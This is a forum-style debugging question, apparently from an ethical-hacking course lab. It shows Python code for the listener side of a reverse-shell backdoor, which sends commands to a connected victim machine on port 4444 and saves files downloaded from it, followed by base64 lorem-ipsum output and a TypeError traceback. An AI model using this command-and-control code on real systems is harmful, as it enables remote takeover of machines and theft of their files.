The real strange thing is, that if i write the code like this:
#!/usr/bin/env python
import socket
import json
class Listener:
def __init__(self, ip, port):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((ip, port))
listener.listen(0)
print("[+] Waiting for incoming connections")
self.connection, address = listener.accept()
print("[+] Got a connection from " + str(address))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def reliable_receive(self):
json_data = ""
while True:
try:
json_data = json_data + self.connection.recv(1024)
print(json.loads(json_data))
return json.loads(json_data)
except ValueError:
continue
def execute_remotely(self, command):
self.reliable_send(command)
if command[0] == "exit":
self.connection.close()
exit()
return self.reliable_receive
def write_file(self, path, content):
with open(path, "wb") as file:
file.write(content)
return "[+] Download successful."
def run(self):
while True:
command = raw_input(">> ")
command = command.split(" ")
result = self.execute_remotely(command)
if command[0] == "download":
result = self.write_file(command[1], result())
print(result())
my_listener = Listener("10.0.2.10", 4444)
my_listener.run()
I end up with this result, when trying to use “download sample.txt”:
>> download sample.txt
TG9yZW0gSXBzdW0gaXMgc2ltcGx5IGR1bW15IHRleHQgb2YgdGhlIHByaW50aW5nIGFuZCB0eXBlc2V0dGluZyBpbmR1c3RyeS4gTG9yZW0gSXBzdW0gaGFzIGJlZW4gdGhlIGluZHVzdHJ5J3Mgc3RhbmRhcmQgZHVtbXkgdGV4dCBldmVyIHNpbmNlIHRoZSAxNTAwcywgd2hlbiBhbiB1bmtub3duIHByaW50ZXIgdG9vayBhIGdhbGxleSBvZiB0eXBlIGFuZCBzY3JhbWJsZWQgaXQgdG8gbWFrZSBhIHR5cGUgc3BlY2ltZW4gYm9vay4gSXQgaGFzIHN1cnZpdmVkIG5vdCBvbmx5IGZpdmUgY2VudHVyaWVzLCBidXQgYWxzbyB0aGUgbGVhcCBpbnRvIGVsZWN0cm9uaWMgdHlwZXNldHRpbmcsIHJlbWFpbmluZyBlc3NlbnRpYWxseSB1bmNoYW5nZWQuIEl0IHdhcyBwb3B1bGFyaXNlZCBpbiB0aGUgMTk2MHMgd2l0aCB0aGUgcmVsZWFzZSBvZiBMZXRyYXNldCBzaGVldHMgY29udGFpbmluZyBMb3JlbSBJcHN1bSBwYXNzYWdlcywgYW5kIG1vcmUgcmVjZW50bHkgd2l0aCBkZXNrdG9wIHB1Ymxpc2hpbmcgc29mdHdhcmUgbGlrZSBBbGR1cyBQYWdlTWFrZXIgaW5jbHVkaW5nIHZlcnNpb25zIG9mIExvcmVtIElwc3VtLg0KDQpXaHkgZG8gd2UgdXNlIGl0Pw0KSXQgaXMgYSBsb25nIGVzdGFibGlzaGVkIGZhY3QgdGhhdCBhIHJlYWRlciB3aWxsIGJlIGRpc3RyYWN0ZWQgYnkgdGhlIHJlYWRhYmxlIGNvbnRlbnQgb2YgYSBwYWdlIHdoZW4gbG9va2luZyBhdCBpdHMgbGF5b3V0LiBUaGUgcG9pbnQgb2YgdXNpbmcgTG9yZW0gSXBzdW0gaXMgdGhhdCBpdCBoYXMgYSBtb3JlLW9yLWxlc3Mgbm9ybWFsIGRpc3RyaWJ1dGlvbiBvZiBsZXR0ZXJzLCBhcyBvcHBvc2VkIHRvIHVzaW5nICdDb250ZW50IGhlcmUsIGNvbnRlbnQgaGVyZScsIG1ha2luZyBpdCBsb29rIGxpa2UgcmVhZGFibGUgRW5nbGlzaC4gTWFueSBkZXNrdG9wIHB1Ymxpc2hpbmcgcGFja2FnZXMgYW5kIHdlYiBwYWdlIGVkaXRvcnMgbm93IHVzZSBMb3JlbSBJcHN1bSBhcyB0aGVpciBkZWZhdWx0IG1vZGVsIHRleHQsIGFuZCBhIHNlYXJjaCBmb3IgJ2xvcmVtIGlwc3VtJyB3aWxsIHVuY292ZXIgbWFueSB3ZWIgc2l0ZXMgc3RpbGwgaW4gdGhlaXIgaW5mYW5jeS4gVmFyaW91cyB2ZXJzaW9ucyBoYXZlIGV2b2x2ZWQgb3ZlciB0aGUgeWVhcnMsIHNvbWV0aW1lcyBieSBhY2NpZGVudCwgc29tZXRpbWVzIG9uIHB1cnBvc2UgKGluamVjdGVkIGh1bW91ciBhbmQgdGhlIGxpa2UpLg0KDQpDb250cmFyeSB0byBwb3B1bGFyIGJlbGllZiwgTG9yZW0gSXBzdW0gaXMgbm90IHNpbXBseSByYW5kb20gdGV4dC4gSXQgaGFzIHJvb3RzIGluIGEgcGllY2Ugb2YgY2xhc3NpY2FsIExhdGluIGxpdGVyYXR1cmUgZnJvbSA0NSBCQywgbWFraW5nIGl0IG92ZXIgMjAwMCB5ZWFycyBvbGQuIFJpY2hhcmQgTWNDbGludG9jaywgYSBMYXRpbiBwcm9mZXNzb3IgYXQgSGFtcGRlbi1TeWRuZXkgQ29sbGVnZSBpbiBWaXJnaW5pYSwgbG9va2VkIHVwIG9uZSBvZiB0aGUgbW9yZSBvYnNjdXJlIExhdGluIHdvcmRzLCBjb25zZWN0ZXR1ciwgZnJvbSBhIExvcmVtIElwc3VtIHBhc3NhZ2UsIGFuZCBnb2luZyB0aHJvdWdoIHRoZSBjaXRlcyBvZiB0aGUgd29yZCBpbiBjbGFzc2ljYWwgbGl0ZXJhdHVyZSwgZGlzY292ZXJlZCB0aGUgdW5kb3VidGFibGUgc291cmNlLiBMb3JlbSBJcHN1bSBjb21lcyBmcm9tIHNlY3Rpb25zIDEuMTAuMzIgYW5kIDEuMTAuMzMgb2YgImRlIEZpbmlidXMgQm9ub3J1bSBldCBNYWxvcnVtIiAoVGhlIEV4dHJlbWVzIG9mIEdvb2QgYW5kIEV2aWwpIGJ5IENpY2Vybywgd3JpdHRlbiBpbiA0NSBCQy4gVGhpcyBib29rIGlzIGEgdHJlYXRpc2Ugb24gdGhlIHRoZW9yeSBvZiBldGhpY3MsIHZlcnkgcG9wdWxhciBkdXJpbmcgdGhlIFJlbmFpc3NhbmNlLiBUaGUgZmlyc3QgbGluZSBvZiBMb3JlbSBJcHN1bSwgIkxvcmVtIGlwc3VtIGRvbG9yIHNpdCBhbWV0Li4iLCBjb21lcyBmcm9tIGEgbGluZSBpbiBzZWN0aW9uIDEuMTAuMzIuDQo=
Traceback (most recent call last):
File “temp.py”, line 57, in <module>
my_listener.run()
File “temp.py”, line 53, in run
print(result())
TypeError: ‘str’ object is not callable